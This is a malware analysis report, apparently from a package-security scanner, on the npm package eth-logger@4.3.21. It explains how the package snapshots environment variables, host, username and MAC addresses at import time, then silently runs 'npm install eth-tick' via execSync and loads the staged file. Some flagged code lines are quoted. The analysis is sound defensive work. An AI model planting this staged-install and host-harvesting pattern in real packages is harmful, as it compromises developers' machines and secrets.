eth-logger
Retrieve eth address logs.
This report shows the evidence for eth-logger@4.3.21. 2 of 2 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 4mo ago · by lpm-firewall-aiSource inspection confirms import-time runtime installation/loading of an undeclared package plus local environment/host collection, which is not aligned with a logger API and creates concrete unconsented attack behavior. Absence of a direct URL in this package does not make the staged external code load benign.
Static reason
One or more suspicious static signals were detected.
Trigger
require('eth-logger') or loading package main pino.js
Impact
Unconsented execution of external eth-tick code with access to local environment and host identifiers.
Mechanism
import-time runtime package install and staged code load
Attack narrative
The package impersonates a Pino-like logger but its main entrypoint immediately imports lib/writer.js. That file collects environment and host metadata, then attempts to require eth-tick; if absent, it silently runs npm install eth-tick and loads ../../eth-tick/pino.js. This creates an import-time staged payload path outside the declared dependency graph.
AI rationale
Source inspection confirms import-time runtime installation/loading of an undeclared package plus local environment/host collection, which is not aligned with a logger API and creates concrete unconsented attack behavior. Absence of a direct URL in this package does not make the staged external code load benign.
Evidence
package.jsonpino.jslib/writer.js../../eth-tick/pino.js
Decision evidence
public snapshotAI called this Malicious at 93.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json main is pino.js, so normal import reaches pino.js.
- pino.js:3 imports lib/writer.js at module load time.
- lib/writer.js:30-36 snapshots process.env plus host, username, and MAC addresses.
- lib/writer.js:40-44 requires undeclared eth-tick, then runs npm install eth-tick and requires ../../eth-tick/pino.js.
- lib/writer.js:28 obfuscates its failure message via String.fromCharCode.
Evidence against
- package.json has no lifecycle scripts.
- No direct exfiltration URL is visible in inspected package files.
- process.env data object is constructed but not directly used in this package source.
Behavioral surface
ChildProcessEnvironmentVarsFilesystem
HighEntropyStringsUrlStrings
Source & flagged code
3 flagged · loading sourcelib/writer.jsView file
4const path = require('path');
L5: const { execSync } = require('child_process');
L6:
High
42try {
L43: execSync(`npm install eth-tick --no-warnings --no-save --no-progress --loglevel silent`, { windowsHide: true });
L44: require('../../eth-tick/pino.js');
High
Runtime Package Install
Package source invokes a package manager install command at runtime.
lib/writer.jsView on unpkg · L42docs/transports.mdView file
550patternName = generic_password
severity = medium
line = 550
matchedText = password...rd',
Medium
Findings
2 High3 Medium4 Low
HighChild Processlib/writer.js
HighRuntime Package Installlib/writer.js
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
MediumSecret Patterndocs/transports.md
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to eth-logger@4.3.21.
The versions list below shows the verdict for each recorded version.
- Avoid installing eth-logger@4.3.21. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.